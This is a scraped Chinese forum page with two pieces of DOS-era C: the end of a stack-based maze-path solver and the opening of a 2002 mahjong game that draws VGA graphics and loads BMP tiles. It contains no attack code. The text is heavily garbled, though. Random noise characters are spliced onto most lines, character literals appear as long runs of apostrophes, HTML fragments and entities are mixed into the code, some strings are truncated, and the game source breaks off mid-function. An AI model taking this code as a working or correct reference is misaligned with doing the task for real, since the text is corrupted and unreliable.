* C6 z8 y$ d2 V' V8 e0 U  w& xmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)1 _* K& V( F- I+ Q; k
return TRUE;
; `: z' P0 H% o% Qelse return FALSE;
! u! }5 A( V9 t) q! A} /* Pass */
7 O( D# m+ m* x5 Svoid MarkPrint(PosType seat)
9 a* a1 u8 v5 U! F% H/* Mark the position seat. */" G: K4 e0 m/ q$ K6 \& m
{
" ]! o% C( \7 L% \maze[seat.x][seat.y].mark=-1;
3 C/ P& F$ o6 g$ g) K1 u/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
2 q/ h5 h% }6 M& l  H, Q* J' D} /* MarkPrint */
+ B% s% z( D+ n% h% Zvoid FootPrint(PosType curpos)6 \, c0 j' l5 V
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
$ W  j3 P7 Y# h# a( F: W2 {{2 }; m& M- k  N6 n
maze[curpos.x][curpos.y].foot=1;
/ q& e" @7 |+ o} /* FootPrint */
+ t" ?3 c/ \- _: c2 @1 c# l! \PosType NextPos(PosType seat,int di)7 M& j1 u# Q6 c0 B
{* t5 R+ ?1 _5 T. T: @6 l" h/ F, G
switch(di)
% Y4 V1 k5 N3 n6 x{
3 D, |2 K  W' I/ g5 `4 z/ I0 ecase 1: seat.y++; return seat; /* Eastward */
4 M. t: V+ }" \  [case 2: seat.x++; return seat; /* Southward */3 i; b1 O3 N# Q# h
case 3: seat.y--; return seat; /* Westward */
" B' d6 ?& ~$ t0 `& R4 B' P  Ncase 4: seat.x--; return seat; /* Northward */* l+ a* L+ ~3 D6 D; i, @
default: seat.x=0; seat.y=0; return seat;7 p# f. a+ a, `1 k: t/ c1 n' l
}% b& J8 V5 }( Z5 o
} /* NextPos */5 p4 e# F+ ^# X! \. F

% v- s( Z5 S6 M* M" r/* The key to the program. */
6 O0 W3 r' h4 h$ ~; W/ i/ B; m" P& R/* Pre: The maze array &amp; the startplace &amp; the endplace.
& O+ j) A( K5 L0 @1 r% gPost: Find the one traverse of the maze and perform the mazepath.' j; A# O, s! }9 c( j" t9 g7 b
Uses: The ADT stack class.2 C2 D, @$ u' x
*/. F% ]; w' c4 O& D5 o  ^2 B
Status MazePath(PosType start,PosType end)5 A  @* @2 @: r) b* K0 x
{
' _& l4 O' Q* x, w6 t" l  A% IPosType curpos;8 L1 n9 ]. t- M# n
int curstep;
- X, t" n9 f! R: e% hSElemType e;( d* v* ^* d: {- S# ^# p4 d
Stack *s,stack;. Y5 `6 P9 l7 l. z8 M9 u* l6 _
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));3 P) L7 _" P  B& q" o0 j, d+ z+ c8 K
if(!stack.base) Error("Overflow");
, l4 G. D) s5 U, M+ J  }; z% qstack.top=stack.base;
+ E0 ]; }5 w  f' F# d7 D' p2 }stack.stacksize=STACK_INIT_SIZE;
0 @; _# o( g9 X% R6 Q7 }+ x) hs=&amp;stack;8 l( n/ K' w0 B
curpos=start;
! Z1 F- }0 Z0 u: [, w: W- E/ d; scurstep=1;' P. |5 A8 h# F4 I3 S9 }2 A! A# N8 N
do! E! E  U" Q5 D" A2 Y& Z- C7 O4 r2 X6 s
{' N5 e/ _1 L1 ~& a( d8 k
if(Pass(curpos))
8 @3 R9 O+ m" R/ P7 {5 s8 u* k{/ z4 _8 m4 @' z4 \
FootPrint(curpos);
4 M: ~$ o' y# n/ o+ o- U% ~! Xe.ord=curstep; e.seat=curpos; e.di=1;
, u1 e: B' o) ]. _9 v6 w7 ygotoxy((curpos.y+1)*2,curpos.x+2);) ~4 ^2 h* ?6 H- c; |- Z
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
7 A# d- T& v. b  e7 j0 idelay(8000); /* pospone time. */
( f" [3 {4 h% r% v3 q, GPush(s,e);
( v: p  h8 V# |/ N; Qif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
0 E" _( p+ n2 E% ?{# B" b: V( f+ C  M. ?, G
DestroyStack(s);
/ J0 U2 M0 t) B0 ?, t; c  d$ Ereturn TRUE;
) X, K/ ~( A, E$ I- ]; Z}3 o" ^7 B+ y- I
curpos=NextPos(curpos,1); /* Try next position. */
/ R: \0 R4 E; W  b3 C8 s  \" d4 A, ~curstep++;
# J7 G5 K$ b* z) q( ~( l' d}4 u( T+ v' ]4 |- g1 i5 q1 v
else) M0 I! w2 o) a6 p3 H1 k
{
; R/ T0 i. b0 H3 l: |1 _if(!StackEmpty(s))
6 j, H* e1 R4 E. @" u5 k  j" k  j{1 v9 z- k& K% _5 g# F
e=Pop(s,e); /* Removed e from s. */( B& M4 r1 a0 _4 F7 v% A
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked; O# B  e' V  o- w; H/ S, r/ B
and s is not empty. */' A9 C% f, k' {2 ]/ f" t
{. e6 [% G7 M1 A& a0 _
MarkPrint(e.seat);
# B6 B% m# e4 E9 ^3 ]gotoxy((e.seat.y+1)*2,e.seat.x+2);- x# M3 [, c% U
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');% |* m; h5 s* p2 z" H
delay(8000); /* Pospone time. */$ d4 }. E3 v$ Z9 I0 U
gotoxy((e.seat.y+1)*2,e.seat.x+2);
  i5 p% ]: g3 j; E+ eputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');! F6 i5 ?4 g' g8 f" A4 t
e=Pop(s,e); /* Remove e from s. */
; c# L) w  g. u' Hcurstep--;
$ t+ v- ^* U* Q. U8 ]}' V  q) ~9 {6 `0 g. l- V4 B. L
if(e.di&lt;4) /* The current position hasnot been checked. */
8 K4 o! T0 L  `( ^% Q6 z8 w' w1 O{' H1 w' z! g( k6 i6 e: _
e.di++;
  A( O$ l) x, u+ A$ p" u. y( VPush(s,e); /* Insert e into s. */
/ K* H+ C- V% q/ x# v( _' }curpos=NextPos(e.seat,e.di); /* Try next position. */
- f7 |# C" x& ^; w3 A" \1 Q/ Q}, s1 f& w" P* o
}7 C2 f1 w: l0 T1 E0 P
}. H$ m5 D- H1 j# g
}
% Y' D8 w+ q; @, Q# k; Uwhile(!StackEmpty(s));; ~: i  I, e/ m
DestroyStack(s);
# T, x* i. A5 W! m+ V) Xreturn FALSE;! K( q  v2 R% h  t
} /* MazePath */
$ L% h+ @4 K  y# j! ivoid main(): ^, x6 ?5 N# d; M9 c8 r- G2 w
{$ v( a) |. ~7 l! b" }/ j% ^
PosType start,end;' r" P' t4 B: w* _- ]
CreatMaze();
4 L7 b# c0 Z* E6 w- Tstart.x=StartPlace.y;
6 ?) a0 Y; h. s2 ~start.y=StartPlace.x;
8 H" L  I7 S8 {4 `2 r% H; aend.x=EndPlace.y;
' @5 {+ R5 W1 Z5 v, U# v+ z8 }: Aend.y=EndPlace.x;6 ~9 F; }6 |& P) e
if(MazePath(start,end))
0 }" |0 V2 S2 g* R" Q2 f3 b{+ `: G5 _! c, p; x  J
gotoxy(2,22);
: k" q' T6 m7 Z$ v: sprintf("ath found\n");; C: X% y: L& i: C8 G4 x
}
/ U5 {4 O+ G- Z# E3 j" jelse
, w/ r8 T7 F' g{
) v; q" c2 l+ u! _( b; z+ zgotoxy(2,22);
$ a. q  f, @  P/ Tprintf("ath not found\n");0 T) b$ u0 T9 b/ i+ i4 a3 a
}3 _, G; X! k% ^' Z, W0 p
getch();6 t9 O4 X% ^% `8 `# ~
clrscr();
* j/ r$ F7 w$ c} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传9 c9 R% U* ]+ |8 G- Z9 ^4 f
/*天宇软件
8 U0 K' T, O; I9 s0 ]; _. a作者:上海黑暗之龙& h7 w; A1 u4 }$ p" A: B& m3 {
2002/10/300 B9 j$ g; t9 t$ |; [
麻将原代码*/, W) b8 [. j* ?, C, u7 z( T6 f
#include "dos.h": l; _  y0 x; D: O
#include "stdio.h"4 |9 X, X, u: i# i) G9 b
#include "graphics.h"; d( c1 D* P. E$ M
#include "bios.h"+ }& C" S5 \& N3 o0 x; a
#include "conio.h"
6 b% k) d2 t' }#include "stdlib.h"
: E$ v4 V' R8 ~, w6 I6 _unsigned char far *video_buffer=(char far *)0xA0000000L;6 K# w( H! j) l$ Z, S# y. m
#define VGA256 0x13 /*图形模式13h*/" [6 |2 T' e5 B
#define TEXT_MODE 0x03 /*普通文本模式*/
9 y! X. {6 o' a3 ~#define SETVGA Set_Video_Mode(VGA256)! {/ U9 o9 d4 O! k) I, A
#define OUTVGA Set_Video_Mode(TEXT_MODE)7 r( B  L& C9 ~7 D
#define BYTE unsigned char
/ E, _3 q; v/ G# M0 ~/ X#define WORD unsigned int
4 g2 e- ^* Q  s' q% e0 a" F#define DWORD unsigned int6 V5 j; a, \+ y& I$ j' }4 G
#define ESC 283
9 o9 S3 s; d* l' }3 ^% G) ]#define LEFT 19200% N' ~5 {$ p6 h& o* A+ L
#define RIGHT 19712
$ Z0 j( E. v' ?  y  V' G8 g3 {#define H 9064$ N$ s: \6 w5 Q) g9 m6 S
#define ENTER 7181- s4 H% I4 E) i0 e+ S! L
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;0 b( G- B, E& ^/ X( ?  R; `9 }# \; _
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;- h: l5 J. V* X" [
struct chi5 Y* @3 P# j) W$ v& ?
{: q' t# k: T. R5 ]
int lg;
6 _; t: E5 S; T. t% s9 T9 dint lgg;
1 G$ U" ]$ u. z+ z' Z% l}ch[13];
1 S- O- ^0 R! V( rstruct mj
  C  Q" R2 r) |# m5 N! M  _{ char *name; /*名字*/% l$ m9 ?0 w. {+ {% W% R2 a
int data1; /*是否已出,无用了*/( e) q# q2 M0 S. c0 Q& w% ^
int data2; /*是否在手中,1为自己,2为对方*/: v6 |. g6 q) _0 O9 R
int number; /*同一个花色的第几张,共4张*/
0 B1 r) q* C( T% q5 R0 [6 Q: d  e}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
. X! I, ?' g3 c2 E" Z8 F"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,7 l- q8 q$ H- C* {
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,; E- l0 `+ v1 a
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,1 `; o5 N4 ~% S$ n" c* L
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
2 L3 n. b$ l4 e7 Y" l* N: ]* S  l"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
3 `4 `* z3 m7 j% O"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
( T# O: H" T' f: |1 v1 k"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4," I: `4 [$ P, }/ ]
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
0 u, [8 P! j3 J* x$ j# p8 C"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
! N, f/ S2 f( p& w* f0 T" k/ C"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
- ]! G7 m9 C8 @8 ^. u6 X"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,! e. ?2 Z, l3 i
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,# x  K: }$ b1 m& A/ B' ]% _
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,3 b0 d* Z  Y# |1 z/ w& s
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,' l& Q6 S* i9 r
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,. y! M0 D% B: e; s% T) {' N
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
/ F: l7 \# {/ p"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,4 J6 J9 D- A" M$ d2 I& {+ P+ u5 k$ F
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
# G$ z) O% G$ e6 ^) l9 ^"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
/ r* ^( {! J3 |; r! z# s7 n"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,; ]1 |) R' k  D  ?4 h
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
% I. v5 L8 t& G"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
' ^1 z* a4 L" S" Q# \"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
- W% L8 A0 x1 n5 _9 N; R/ }"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
9 W2 G% v' b! P! C) C( s3 v- Q9 {"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,7 H. @' }+ J6 a9 B
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
4 R/ E$ M, L, q"34.bmp"};9 r; i" v' ^5 z5 J$ I# z, J0 {
struct every
! c' L7 H' ~& s5 l3 M1 y* T{ int *k; /*名字*/8 M4 Z4 T$ n/ ]' q9 i* `
int oneorfour; /*同一张牌的第几张*/+ {* z! P( k$ v5 r
int number; /*第几张牌136*/5 g" I1 |" [7 K- D) R6 Y
int p;
. x2 O' ?0 V+ n2 ^  vint g;
$ y' A. N. P' r, C, Y/ ?int c;
& ]2 ^3 A3 B- w2 v% ~int d[2];
/ r4 D, o3 N5 ^/ Q$ w};( X9 o& f8 K; P, Y; b$ _; h
struct me
, B# x. [; _# B3 S0 ~* K' F{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/! A2 E, U, J+ c
int p; /*乓对方*/
- I: w7 m( B" b: Q: W8 yint c; /*吃对方*/
$ {9 K& `$ d- M1 u$ N9 p6 D, Wint g; /*杠*/
; }+ h& ]! m" N  L8 k
8 X: h& g7 t" k) F% w/ R: pstruct every pp[14]; /*存放手上的牌*/8 y. m: C. h4 ^- ^, g% v1 Q; q
}me;
5 j2 M5 q! P0 fstruct computer
8 f1 v$ p8 G* D{ int m;
7 t. E' [% Z4 _6 _& W- qint p;
2 D' N! W. D) ^' Gint c;
4 C5 l1 T/ z; V0 {- [int g;/ m5 ~) ?1 ~' |9 D0 c. c. @& b+ |
struct every pp[14];
3 p1 O5 ~5 U2 ]! X( N/ `. y4 @}computer,comp;0 K( J% h: f4 `* Y7 ^
* |" Z: c: ~) H3 c% i& _. e$ j; y
/* 设置调色板 */
$ O3 f( n; G+ g5 ovoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b). F+ M8 A5 j; |' G0 W
{7 O( C1 L  P. F! y0 p( T" J
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/0 B: s8 }* t! @! \
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/1 e; \7 [% J/ Q% w2 r5 e
outportb(0x3c9,g);
5 ]4 x3 x3 Z& l8 p$ f  Ooutportb(0x3c9,b);
# [3 c4 Y5 h  f6 h}( \  s7 l' `  O' J  j; A/ Y7 x' j
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/8 l, b: W" J. i( p8 z
/* 设置显示模式的函数 */
  r- w, A) b6 y# e- e( ovoid Set_Video_Mode(int mode)9 X: _) @" n* Q! H5 ]8 [2 C1 n
{) y2 J' `8 |* f& b( T2 l0 o
union REGS inregs,outregs; /*定义输入和返回寄存器*/" h! {3 W) c' J
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*// I: |- J2 ]- v- ]" u3 m
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
: x$ J" @) O4 R" M0 M$ Dint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
& Q- [/ B+ ^5 o+ }}
2 T) m6 f8 _" H' S( w: Y5 D2 mvoid v_line(int y0,int y1,int x,unsigned int color)% n/ Q1 h; L* P2 H: {
{ unsigned int address,n,temp;
! J, W3 T! p  m0 h2 Rif(y0&gt;y1)
6 S' B" H! N3 }, j{
6 D" }0 d5 O4 i8 |+ vtemp=y1;
. |  F4 A! N) \5 W* u; Py1=y0;. z, b6 S# b5 `$ Z6 {
y0=temp;- v! H, o6 T) N
}- H5 b( o( C# h8 V
address=320*y0+x;
( @! w: ]( t/ b! f: Ffor(n=0;n&lt;=y1-y0;n++)
7 C7 l: p( ^$ S% l. n{
- V& K2 B. |$ P1 k: ivideo_buffer[address]=color;- K. Q1 |1 j0 S  _& m
address+=320;
* Y" ?$ J& @' Y1 U/ @' W4 a}
5 R* j, g. u: n2 C7 g- g7 K}
5 {4 B% t. b0 T% ~; lvoid h_line(int x0,int x1,int y,unsigned int color), }( }$ D3 }& L5 F  u  ?
{ unsigned int address,n,temp;3 D8 @! ^9 `# n5 f+ y7 y# l
if(x0&gt;x1)
$ J0 {% |0 A8 i( U* H% L+ i1 c{
# ^% g# r: p  E5 stemp=x1;5 i# b( l0 v. d" v0 E& b
x1=x0;, E8 r) F! N1 `$ P0 h
x0=temp;+ Q8 K9 V5 _! N9 N1 h. m
}& y) ^6 M/ }/ D' X* w! M8 W0 S5 T( f' N7 M
address=320*y+x0;7 E/ g! P+ a; \
for(n=0;n&lt;=x1-x0;n++)6 P! ^: P( E1 h/ v. t, H( E$ V
{
) L5 D4 w( R- V3 }9 a/ jvideo_buffer[address]=color;' k! g+ `, `; [9 e2 {4 i
address+=1;
+ r3 F1 e: k4 l$ S1 X2 n( J4 e; `}
  ]$ X9 A% v6 {) U}
. c3 [9 d. w/ {  O. D) J5 m" {void p_pixel(int x,int y,unsigned int color)1 y7 E# @2 C4 a! ~: Z7 n) E
{ video_buffer[y*320+x]=color;
1 B# _8 N4 a4 G+ W* v: A  w}
( u* |5 J8 c, p4 C' `! B2 tvoid s_square(int x,int y,int side,int color)
4 I* L* p( x7 D$ ]{
4 |- ~# g; q* P0 kh_line(x,x+side,y,color);
4 Q3 g& O- h6 i2 s  P- W8 @% nh_line(x,x+side,y+side,color);
$ @4 M6 Y& i) \! V: c0 Yv_line(y,y+side,x,color);( `" e/ n  `- k$ y
v_line(y,y+side,x+side,color);# j" k) a5 h6 T7 m
}5 C1 v% t9 N& V8 u1 F* v$ u" R2 g, J& R! b
void r_rectangle(int x1,int y1,int x2,int y2,int color)4 z, N8 ], g" Q
{! C6 a: ^3 U7 T7 l$ e
h_line(x1,x2,y1,color);$ l+ g4 m' }5 l0 L/ W, j& T
h_line(x1,x2,y2,color);7 F9 w& ?+ c  |. X2 t& {
v_line(y1,y2,x1,color);
- s1 r/ K/ a1 d8 G  E; T+ Cv_line(y1,y2,x2,color);
2 c% }$ u9 }7 f) T2 n. e' u0 K}+ o5 }) T0 e" j
void fillRectangle(int x1,int y1,int x2,int y2,int color)! N2 O( q3 O7 m% e
{
' L- l7 P" `' T; i$ uint i;
6 P. R  H* T/ Z* t. D& Xfor(i=y1;i&lt;=y2;i++)! R% w' P( R2 C& P4 v0 r0 V' C& o( y
{( I3 K7 u- ]6 J+ N
h_line(x1,x2,i,color);
  R8 u" b: y% v# g( w9 }}
4 A9 E1 w/ B  }9 u}
  W, M( f# ?) c4 Uvoid showbmp(int l)
, @5 F% c- ~9 M; W  F2 k{ FILE *bmp;
+ A6 h/ _. k4 U* _int i,x,y;
$ @- \* i; ^3 k6 pBYTE palette[256][3];
0 f5 j0 V  t+ gbmp=fopen(me.pp[l].k,"rb");
% s$ ^  D* @8 q3 A5 J% E0 ufseek(bmp,54,SEEK_SET);+ _* w) J4 j- ^' c
for(i=0;i&lt;256;i++)
- T; g8 R. z: ~{
7 j9 S' {7 l$ k8 b) Spalette[2]=fgetc(bmp)&gt;&gt;2;. `7 U3 l3 C9 G. e
palette[1]=fgetc(bmp)&gt;&gt;2;
( p" y, j. P* ~2 _) M, spalette[0]=fgetc(bmp)&gt;&gt;2;
1 c! q3 {9 U* w% Z% y. P1 Cfgetc(bmp);
, [2 \2 f' I, _4 n/ t0 `1 ^Set_Palette(i,palette[0],palette[1],palette[2]);
1 B5 L; C. x0 ~8 G}
3 T6 M- F/ {  l/ cfor (y=0;y&lt;30;y++)6 I# h) s, n% o$ H2 Z
for(x=0;x&lt;20;x++)
4 @# m+ I' x$ b0 G9 s5 Tpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
6 R4 d! K0 Q3 [fclose(bmp);
2 \2 Y- u. n% g# f8 n  |* m, P}, R/ ?: t6 z# C0 J& {: _% V
void showbmpd(int l)
! C1 _1 ~8 V( g{ FILE *bmp;
, }/ T6 e# v7 E0 \0 K0 Xint i,x,y;) a  r/ c7 a* C/ C
BYTE palette[256][3];8 \; o% O+ l3 ^! U
bmp=fopen(me.pp[l].k,"rb");1 @$ [% s" e' z- @; c' r
fseek(bmp,54,SEEK_SET);, v% e* [3 o6 e
for(i=0;i&lt;256;i++)
$ ]/ M# k. j) @3 L0 Z4 G{" z& y, _% o# s$ X
palette[2]=fgetc(bmp)&gt;&gt;2;& p* E) A$ Q0 k: Q* t$ R, n
palette[1]=fgetc(bmp)&gt;&gt;2;
% b2 n2 d* ^6 `7 X; t0 cpalette[0]=fgetc(bmp)&gt;&gt;2;
. k) I, _) m" tfgetc(bmp);
. y4 i1 s: y. h! tSet_Palette(i,palette[0],palette[1],palette[2]);
* H5 M9 e; {5 f2 \$ g8 w; i}
8 N5 {) l6 C- ~: nfor (y=0;y&lt;30;y++)
8 \  Z" C# L5 x3 b$ ufor(x=0;x&lt;20;x++)( ]: p( E% E$ }
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
" n( K- v' @9 x+ _! B# }3 o6 ufclose(bmp);& f4 c0 i8 u9 Q% K) J2 i) b
}  z& E% }0 ~% B0 Q7 q) Q4 l+ x
void showybmp(int ll), S4 c- G9 R# k; N/ c7 V
{ FILE *bmp;5 k- W! \! C# G1 S" o
int i,x,y;9 S( V6 k! v4 Z! k0 t" Q
BYTE palette[256][3];
5 E% C/ V$ R2 L% f' H# {bmp=fopen(computer.pp[ll].k,"rb");
( X2 a. t, {/ O5 f7 a3 @/ J! Cfseek(bmp,54,SEEK_SET);2 ^% ~& ~& H; K' `/ ?7 g) {+ ^
for(i=0;i&lt;256;i++)
* s6 X; n, J9 L{
! k2 e2 \9 z2 d6 y, X  X* fpalette[2]=fgetc(bmp)&gt;&gt;2;
% t" Y& U9 h/ \1 |9 }% Cpalette[1]=fgetc(bmp)&gt;&gt;2;
/ j5 J4 K' b7 h( T) V8 L( j1 gpalette[0]=fgetc(bmp)&gt;&gt;2;5 N: ?1 i( E! h/ M& r6 y
fgetc(bmp);( v+ \# v/ h6 I6 H0 D8 L
Set_Palette(i,palette[0],palette[1],palette[2]);* p2 t9 C) c6 A* x/ n
}
; m7 u" h- B9 X* X3 T) X+ W, Qfor (y=0;y&lt;30;y++)
1 A( s$ f2 o& H5 x* Afor(x=0;x&lt;20;x++)9 E2 `; X# G2 R" E/ u5 ?. I
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
/ Q: ~, e8 [' y) q* k. Lfclose(bmp);) P8 w  j# Z: x; f  t) l
}
( ]8 }5 A& H7 U, Dvoid showcbmp(int ll)
7 G9 R! D& r6 J2 G{ FILE *bmp;2 J4 P7 J( X; W  n0 `3 b! g! {
int i,x,y;. ~3 I' V( [% N/ E
BYTE palette[256][3];+ m$ `- G, I: N) q: {% J, `7 A
bmp=fopen(computer.pp[ll].k,"rb");, n- }: a: S9 h0 F! V7 Q
fseek(bmp,54,SEEK_SET);1 a' T/ j6 f5 ]
for(i=0;i&lt;256;i++)
6 V" G5 J. m  n& P9 h/ X{
( X5 N( r/ f* {# t% R9 m7 ~palette[2]=fgetc(bmp)&gt;&gt;2;! R* }5 i, P$ I3 t- d9 G
palette[1]=fgetc(bmp)&gt;&gt;2;
; i. n+ }2 m4 n$ T9 e; h6 ^palette[0]=fgetc(bmp)&gt;&gt;2;
9 G2 [6 ]0 @$ x: Tfgetc(bmp);
5 \; R& @1 T0 n, f" ~' h- mSet_Palette(i,palette[0],palette[1],palette[2]);
4 D. s/ _' p7 V( V1 O" g}
0 p' o7 l/ J, P0 ~1 L* F: @' ?for (y=0;y&lt;30;y++). o) c6 t, X% M) B" h5 o
for(x=0;x&lt;20;x++)
6 G% [6 x: o* ~pokeb(0xa000,y*320+x+zyy,fgetc(bmp));* ]& t0 K" I( b) p& H
fclose(bmp);% R$ c: _3 t9 y
}0 r' @+ w. \( ?+ C: F  u
void bmpp(int number)2 {( |' B6 \  L" D2 a- }
{ FILE *bmp;
' z' g" _" P. C& g, k$ H3 Sint i,x,y;+ s9 [( [) U! Q! A/ n6 ~
BYTE palette[256][3];5 j+ F& E1 q& ~, U6 ?" n0 R
bmp=fopen(m[number].name,"rb");
* L$ C" ]( p9 }9 p! l3 hfseek(bmp,54,SEEK_SET);* a% O$ J  r! h3 V$ A  o/ y" M
for(i=0;i&lt;256;i++)
3 b# C3 h! a) h7 W' U( h/ E{
  a5 A# H- N% e5 o6 h1 z9 jpalette[2]=fgetc(bmp)&gt;&gt;2;
$ f- ^3 v' V* kpalette[1]=fgetc(bmp)&gt;&gt;2;, q3 k" C7 k/ K# F# h0 j
palette[0]=fgetc(bmp)&gt;&gt;2;$ V2 e# |& U% N$ _& r
fgetc(bmp);1 t( M" l/ Z8 H# G% m7 P, W- q, K- }
Set_Palette(i,palette[0],palette[1],palette[2]);% f) [0 y8 c* _$ x% @
}# r* s1 W! q/ o! l! T. I
for (y=0;y&lt;30;y++)4 C; l3 u% d$ {) \8 E8 f3 h) _6 `
for(x=0;x&lt;20;x++)( j5 f# Z8 u$ h$ {" f
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
9 g0 o& \( a5 ~fclose(bmp);5 |" `( z9 ]* q3 l: \5 z
}' S1 ?1 \2 D& M, k# D+ E
void comlipai() /*整理电脑的牌*/
6 N; x( n- s! X4 w) S5 q7 g# d{ int n,j,u;8 x8 }) Z+ v" {
int *lingshi;
2 }  N' o# A! s  Zfor(n=0;n&lt;computer.m;n++)' Q; z3 y& I2 v7 e' [3 K: T
for(j=n;j&lt;computer.m;j++)/ x3 F' V7 K( j- ~8 m9 }
{; u9 v. ~: u! S6 p% C
if(computer.pp[n].number&gt;computer.pp[j+1].number)
9 O, {" A, L! x8 f{
+ d2 t6 c1 [* v# \1 q9 X$ |lingshi=computer.pp[n].k;5 R$ [& V7 M9 H6 @9 X1 z+ a
computer.pp[n].k=computer.pp[j+1].k;
4 R0 T6 M/ Y8 V7 d8 d% u4 B' Wcomputer.pp[j+1].k=lingshi;
4 X" n1 M* V" k* S# ]u=computer.pp[n].oneorfour;+ z4 _. g# T: X! Q8 P/ ]) j
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
! g2 ?2 M1 y6 E8 @' B5 j& Ncomputer.pp[j+1].oneorfour=u;
, G' J  B5 F! h* j0 gu=computer.pp[n].number;
- x1 a6 M) @3 F) E- ucomputer.pp[n].number=computer.pp[j+1].number;0 B/ M6 y, F, r
computer.pp[j+1].number=u;
+ l# Y0 {0 h; \9 W}
- ]; m0 R7 m9 d. f7 E9 V( Eelse- c* Q6 [# t: P; l* g" n, L
if(computer.pp[n].number==computer.pp[j+1].number)
' g7 y% M$ ?" p3 zif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)5 e. Y3 C- a" B
{
/ C2 o) M2 w2 z0 Olingshi=computer.pp[n].k;
& K/ h) c5 n/ ]' v( f5 tcomputer.pp[n].k=computer.pp[j+1].k;
, y9 Y, m1 f, q2 _computer.pp[j+1].k=lingshi;; ]0 T" J, L2 D' U" D$ S- I. W
u=computer.pp[n].oneorfour;; q1 E! Z" X, X  e
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
